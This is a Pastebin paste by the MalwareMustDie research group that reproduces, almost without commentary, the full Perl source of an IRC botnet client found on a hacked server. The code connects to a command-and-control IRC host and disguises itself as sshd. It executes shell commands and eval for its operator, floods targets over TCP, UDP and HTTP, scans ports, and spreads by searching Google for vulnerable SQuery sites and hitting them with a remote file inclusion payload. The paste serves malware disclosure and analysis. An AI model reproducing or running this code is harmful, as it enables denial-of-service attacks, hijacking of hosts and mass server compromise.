SHARE
TWEET

Perl IRCBot - Case #8: DDoS'er & Spreader Tool

MalwareMustDie Jun 4th, 2014 635 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # MalwareMustDie | @unixfreaxjp $ date
  2. Wed Jun  4 22:13:14 JST 2014
  3. # JOurney to hacked FTP - Case #8: PerlBot Spreader & DDoS'er
  4. # Thx to "yin" for the hint
  5. # -------------------------------------------------------------
  6.  
  7. #!/usr/bin/perl
  8. # this spreader is coded by xdh
  9. # xdh@xxxxxxxxxxx
  10. # only for testing...
  11.  
  12. my @nickname = ("Pma");
  13.  
  14. my $nick = $nickname[rand scalar @nickname];
  15.  
  16. my $ircname = $nickname[rand scalar @nickname];
  17.  
  18.  
  19. #system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`");
  20. my $processo = '/usr/sbin/sshd';
  21.  
  22.  
  23. # funny world...
  24.  
  25. my $linas_max='4';
  26. my $sleep='5';
  27. my @adms=("Geox");
  28. my @hostauth=("localhost");
  29. my @canais=("#x");
  30. chop (my $realname = `uname -a`);
  31. $servidor='topsrv.us.to' unless $servidor;
  32. my $porta='3303';
  33. my $VERSAO = 'BUCEFALO';
  34. $SIG{'INT'} = 'IGNORE';
  35. $SIG{'HUP'} = 'IGNORE';
  36. $SIG{'TERM'} = 'IGNORE';
  37. $SIG{'CHLD'} = 'IGNORE';
  38. $SIG{'PS'} = 'IGNORE';
  39. use IO::Socket;
  40. use Socket;
  41. use IO::Select;
  42. chdir("/");
  43. $servidor="$ARGV[0]" if $ARGV[0];
  44. $0="$processo"."\0"x16;;
  45. my $pid = fork;
  46. exit if $pid;
  47. die "Problema com o fork: $!" unless defined($pid);
  48.  
  49. our %irc_servers;
  50. our %DCC;
  51. my $dcc_sel = new IO::Select->new();
  52.  
  53. $sel_cliente = IO::Select->new();
  54. sub sendraw {
  55.   if ($#_ == '1') {
  56.     my $socket = $_[0];
  57.     print $socket "$_[1]\n";
  58.   } else {
  59.       print $IRC_cur_socket "$_[0]\n";
  60.   }
  61. }
  62.  
  63. sub conectar {
  64.    my $meunick = $_[0];
  65.    my $servidor_con = $_[1];
  66.    my $porta_con = $_[2];
  67.  
  68.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  69.    if (defined($IRC_socket)) {
  70.      $IRC_cur_socket = $IRC_socket;
  71.  
  72.      $IRC_socket->autoflush(1);
  73.      $sel_cliente->add($IRC_socket);
  74.  
  75.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  76.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  77.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  78.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  79.      nick("$meunick");
  80.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  81.      sleep 1;
  82.    }
  83. }
  84. my $line_temp;
  85. while( 1 ) {
  86.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  87.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  88.    my @ready = $sel_cliente->can_read(0);
  89.    next unless(@ready);
  90.    foreach $fh (@ready) {
  91.      $IRC_cur_socket = $fh;
  92.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  93.      $nread = sysread($fh, $msg, 4096);
  94.      if ($nread == 0) {
  95.         $sel_cliente->remove($fh);
  96.         $fh->close;
  97.         delete($irc_servers{$fh});
  98.      }
  99.      @lines = split (/\n/, $msg);
  100.  
  101.      for(my $c=0; $c<= $#lines; $c++) {
  102.        $line = $lines[$c];
  103.        $line=$line_temp.$line if ($line_temp);
  104.        $line_temp='';
  105.        $line =~ s/\r$//;
  106.        unless ($c == $#lines) {
  107.          parse("$line");
  108.        } else {
  109.            if ($#lines == 0) {
  110.              parse("$line");
  111.            } elsif ($lines[$c] =~ /\r$/) {
  112.                parse("$line");
  113.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  114.                parse("$line");
  115.            } else {
  116.                $line_temp = $line;
  117.            }
  118.        }
  119.       }
  120.    }
  121. }
  122.  
  123. sub parse {
  124.    my $servarg = shift;
  125.    if ($servarg =~ /^PING \:(.*)/) {
  126.      sendraw("PONG :$1");
  127.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  128.        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  129.        if ($args =~ /^\001VERSION\001$/) {
  130.          notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  131.        }
  132.        if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  133.        if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  134.          if ($onde eq "$meunick"){
  135.            shell("$pn", "$args");
  136.          }
  137.          if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
  138.             my $natrix = $1;
  139.             my $arg = $2;
  140.             if ($arg =~ /^\!(.*)/) {
  141.               ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  142.             } elsif ($arg =~ /^\@(.*)/) {
  143.                 $ondep = $onde;
  144.                 $ondep = $pn if $onde eq $meunick;
  145.                 bfunc("$ondep","$1");
  146.             } else {
  147.                 shell("$onde", "$arg");
  148.             }
  149.          }
  150.        }
  151.         }
  152.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  153.        if (lc($1) eq lc($meunick)) {
  154.          $meunick=$4;
  155.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  156.        }
  157.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  158.        nick("$meunick|".int rand(999999));
  159.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  160.        $meunick = $2;
  161.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  162.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  163.        foreach my $canal (@canais) {
  164.          sendraw("JOIN $canal ddosit");
  165.        }
  166.    }
  167. }
  168.  
  169.  
  170. sub bfunc {
  171.   my $printl = $_[0];
  172.   my $funcarg = $_[1];
  173.   if (my $pid = fork) {
  174.      waitpid($pid, 0);
  175.   } else {
  176.       if (fork) {
  177.          exit;
  178.        } else {
  179.            if ($funcarg =~ /^portscan (.*)/) {
  180.              my $hostip="$1";
  181.              my
  182. @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  183.              my (@aberta, %porta_banner);
  184.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");    
  185.              foreach my $porta (@portas)  {
  186.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout
  187. => 4);
  188.                 if ($scansock) {
  189.                    push (@aberta, $porta);
  190.                    $scansock->close;
  191.                 }
  192.              }
  193.  
  194.              if (@aberta) {
  195.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
  196.              } else {
  197.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
  198.              }
  199.            }
  200.            if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  201.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
  202.              my $itime = time;
  203.              my ($cur_time);
  204.              $cur_time = time - $itime;
  205.              while ($3>$cur_time){
  206.              $cur_time = time - $itime;
  207.              &tcpflooder("$1","$2","$3");
  208.              }
  209.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
  210.            }
  211.            if ($funcarg =~ /^version/) {
  212.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);               
  213.                 }
  214.            if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
  215.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched INDEXU for ".$1."
  216. seconds.");
  217.              srand;
  218.              my $itime = time;
  219.              my ($cur_time);
  220.              my ($exploited);
  221.              $boturl=$2;
  222.              $cur_time = time - $itime;$exploited = 0;
  223.                 while($1>$cur_time){
  224.                     $cur_time = time - $itime;
  225.                     @urls=fetch();
  226.                         foreach $url (@urls) {
  227.                         $cur_time = time - $itime;
  228.                         my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
  229.                         $url =$path."/SQuery/lib/gore.php?libpath=$boturl?";
  230.                         $page = http_query($url);
  231.                         $exploited = $exploited + 1;
  232.                     }
  233.                 }
  234.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1."
  235. seconds.");
  236.            }
  237.            if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  238.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
  239.              my $itime = time;
  240.              my ($cur_time);
  241.              $cur_time = time - $itime;
  242.              while ($2>$cur_time){
  243.              $cur_time = time - $itime;
  244.              my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  245.              print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  246.              close($socket);
  247.              }
  248.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
  249.            }
  250.            if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  251.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for
  252. ".$3." seconds.");
  253.              my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  254.              $dtime = 1 if $dtime == 0;
  255.              my %bytes;
  256.              $bytes{igmp} = $2 * $pacotes{igmp};
  257.              $bytes{icmp} = $2 * $pacotes{icmp};
  258.              $bytes{o} = $2 * $pacotes{o};
  259.              $bytes{udp} = $2 * $pacotes{udp};
  260.              $bytes{tcp} = $2 * $pacotes{tcp};
  261.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent
  262. ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
  263.            }
  264.            exit;
  265.        }
  266.   }
  267. }
  268.  
  269. sub ircase {
  270.   my ($kem, $printl, $case) = @_;
  271.  
  272.   if ($case =~ /^join (.*)/) {
  273.      j("$1");
  274.    }
  275.    if ($case =~ /^part (.*)/) {
  276.       p("$1");
  277.    }
  278.    if ($case =~ /^rejoin\s+(.*)/) {
  279.       my $chan = $1;
  280.       if ($chan =~ /^(\d+) (.*)/) {
  281.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  282.           p("$2");
  283.           j("$2");
  284.         }
  285.       } else {
  286.           p("$chan");
  287.           j("$chan");
  288.       }
  289.    }
  290.    if ($case =~ /^op/) {
  291.       op("$printl", "$kem") if $case eq "op";
  292.       my $oarg = substr($case, 3);
  293.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  294.    }
  295.    if ($case =~ /^deop/) {
  296.       deop("$printl", "$kem") if $case eq "deop";
  297.       my $oarg = substr($case, 5);
  298.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  299.    }
  300.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  301.       msg("$1", "$2");
  302.    }
  303.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  304.       for (my $cf = 1; $cf <= $1; $cf++) {
  305.         msg("$2", "$3");
  306.       }
  307.    }
  308.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  309.       ctcp("$1", "$2");
  310.    }
  311.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  312.       for (my $cf = 1; $cf <= $1; $cf++) {
  313.         ctcp("$2", "$3");
  314.       }
  315.    }
  316.    if ($case =~ /^nick (.*)/) {
  317.       nick("$1");
  318.    }
  319.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  320.        conectar("$2", "$1", 6667);
  321.    }
  322.    if ($case =~ /^raw (.*)/) {
  323.       sendraw("$1");
  324.    }
  325.    if ($case =~ /^eval (.*)/) {
  326.      eval "$1";
  327.    }
  328. }
  329.  
  330. sub shell {
  331.   my $printl=$_[0];
  332.   my $comando=$_[1];
  333.   if ($comando =~ /cd (.*)/) {
  334.     chdir("$1") || msg("$printl", "No such file or directory");
  335.     return;
  336.   }
  337.   elsif ($pid = fork) {
  338.      waitpid($pid, 0);
  339.   } else {
  340.       if (fork) {
  341.          exit;
  342.        } else {
  343.            my @resp=`$comando 2>&1 3>&1`;
  344.            my $c=0;
  345.            foreach my $linha (@resp) {
  346.              $c++;
  347.              chop $linha;
  348.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  349.              if ($c == "$linas_max") {
  350.                $c=0;
  351.                sleep $sleep;
  352.              }
  353.            }
  354.            exit;
  355.        }
  356.   }
  357. }
  358.  
  359. sub tcpflooder {
  360.  my $itime = time;
  361.  my ($cur_time);
  362.  my ($ia,$pa,$proto,$j,$l,$t);
  363.  $ia=inet_aton($_[0]);
  364.  $pa=sockaddr_in($_[1],$ia);
  365.  $ftime=$_[2];
  366.  $proto=getprotobyname('tcp');
  367.  $j=0;$l=0;
  368.  $cur_time = time - $itime;
  369.  while ($l<1000){
  370.   $cur_time = time - $itime;
  371.   last if $cur_time >= $ftime;
  372.   $t="SOCK$l";
  373.   socket($t,PF_INET,SOCK_STREAM,$proto);
  374.   connect($t,$pa)||$j--;
  375.   $j++;$l++;
  376.  }
  377.  $l=0;
  378.  while ($l<1000){
  379.   $cur_time = time - $itime;
  380.   last if $cur_time >= $ftime;
  381.   $t="SOCK$l";
  382.   shutdown($t,2);
  383.   $l++;
  384.  }
  385. }
  386.  
  387. sub udpflooder {
  388.   my $iaddr = inet_aton($_[0]);
  389.   my $msg = 'A' x $_[1];
  390.   my $ftime = $_[2];
  391.   my $cp = 0;
  392.   my (%pacotes);
  393.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  394.  
  395.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  396.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  397.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  398.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  399.   return(undef) if $cp == 4;
  400.   my $itime = time;
  401.   my ($cur_time);
  402.   while ( 1 ) {
  403.      for (my $porta = 1; $porta <= 65000; $porta++) {
  404.        $cur_time = time - $itime;
  405.        last if $cur_time >= $ftime;
  406.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  407.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  408.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  409.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  410.  
  411.        for (my $pc = 3; $pc <= 255;$pc++) {
  412.          next if $pc == 6;
  413.          $cur_time = time - $itime;
  414.          last if $cur_time >= $ftime;
  415.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  416.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  417.        }
  418.      }
  419.      last if $cur_time >= $ftime;
  420.   }
  421.   return($cur_time, %pacotes);
  422. }
  423.  
  424. sub ctcp {
  425.    return unless $#_ == 1;
  426.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  427. }
  428. sub msg {
  429.    return unless $#_ == 1;
  430.    sendraw("PRIVMSG $_[0] :$_[1]");
  431. }  
  432. sub notice {
  433.    return unless $#_ == 1;
  434.    sendraw("NOTICE $_[0] :$_[1]");
  435. }
  436. sub op {
  437.    return unless $#_ == 1;
  438.    sendraw("MODE $_[0] +o $_[1]");
  439. }
  440. sub deop {
  441.    return unless $#_ == 1;
  442.    sendraw("MODE $_[0] -o $_[1]");
  443. }
  444. sub j { &join(@_); }
  445. sub join {
  446.    return unless $#_ == 0;
  447.    sendraw("JOIN $_[0]");
  448. }
  449. sub p { part(@_); }
  450. sub part {
  451.   sendraw("PART $_[0]");
  452. }
  453. sub nick {
  454.   return unless $#_ == 0;
  455.   sendraw("NICK $_[0]");
  456. }
  457. sub quit {
  458.   sendraw("QUIT :$_[0]");
  459. }
  460.  
  461. # Spreader
  462. # this 'spreader' code isnot mine, i dont know who coded it.
  463. # update: well, i just fix0red this shit a bit.
  464. #
  465.  
  466. sub fetch(){
  467.     my $rnd=(int(rand(9999)));
  468.     my $n= 80;
  469.     if ($rnd<5000) { $n<<=1;}
  470.     my $s= (int(rand(10)) * $n);
  471.  
  472. my @dominios = ("com","net","org","info","gov", "gob","gub","xxx",
  473. "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
  474.                
  475. "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
  476.                
  477. "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
  478.                 "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
  479.                
  480. "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
  481.                
  482. "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
  483.                
  484. "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
  485.                
  486. "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",         
  487.                
  488. "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
  489.                 "vu","vn","ye","yu","cd","zm","zw","");
  490. my @str;
  491.  
  492. foreach $dom  (@dominios)
  493. {
  494.         push (@str,"%22inurl%3Amodules.php%3Fname%3DSQuery%22+site%3A".$dom."%20");
  495. }
  496.  
  497.     my $query="www.google.com/search?q=";
  498.     $query.=$str[(rand(scalar(@str)))];
  499.     $query.="&num=$n&start=$s";
  500.     my @lst=();
  501.     my $page = http_query($query);
  502.     while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
  503.         if ($1 !~ m/google|cache|translate/){
  504.             push (@lst,$1);
  505.         }
  506.     }
  507.     return (@lst);
  508. }
  509.  
  510. sub http_query($){
  511.     my ($url) = @_;
  512.     my $host=$url;
  513.     my $query=$url;
  514.     my $page="";
  515.     $host =~ s/href=\"?http:\/\///;
  516.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  517.     $query =~s/$host//;
  518.     if ($query eq "") {$query="/";};
  519.     eval {
  520.         local $SIG{ALRM} = sub { die "1";};
  521.         alarm 10;
  522.         my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  523.         print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  524.         my @r = <$sock>;
  525.         $page="@r";
  526.         alarm 0;
  527.         close($sock);
  528.     };    
  529.     return $page;
  530.  
  531. }
  532.  
  533. ----
  534. #MalwareMustDie!!
RAW Paste Data
Challenge yourself this year...
Learn something new in 2017
Top